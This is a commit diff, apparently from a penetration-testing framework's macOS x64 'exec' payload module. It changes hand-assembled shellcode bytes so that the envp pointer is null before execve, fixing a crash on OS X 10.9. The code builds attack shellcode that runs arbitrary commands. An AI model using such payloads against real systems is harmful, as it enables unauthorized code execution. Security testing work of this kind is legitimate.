Skip to content

Commit 6a02a2e

Browse files
committed
NULL out envp pointer before execve call.
This was causing a crash on 10.9.
1 parent 21cdaa4 commit 6a02a2e

File tree

1 file changed

+3
-3
lines changed
  • modules/payloads/singles/osx/x64

1 file changed

+3
-3
lines changed

modules/payloads/singles/osx/x64/exec.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -36,21 +36,21 @@ def generate
3636
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
3737
call = "\xe8" + [arg_str.length].pack('V')
3838
payload =
39-
"\x48\x31\xc0" + # xor rax, rax
39+
"\x48\x31\xd2"+ # xor rdx, rdx
4040
call + # call CMD.len
4141
arg_str + # CMD
4242
"\x5f" + # pop rdi
4343
if cmd_parts.length > 1
4444
"\x48\x89\xf9" + # mov rcx, rdi
45-
"\x50" + # push null
45+
"\x52" + # push rdx (null)
4646
# for each arg, push its current memory location on to the stack
4747
cmd_parts[1..-1].each_with_index.map do |arg, idx|
4848
"\x48\x81\xc1" + # add rcx + ...
4949
[cmd_parts[idx].length+1].pack('V') + #
5050
"\x51" # push rcx (build str array)
5151
end.join
5252
else
53-
"\x50" # push null
53+
"\x52" # push rdx (null)
5454
end +
5555
"\x57"+ # push rdi
5656
"\x48\x89\xe6"+ # mov rsi, rsp

0 commit comments

Comments
 (0)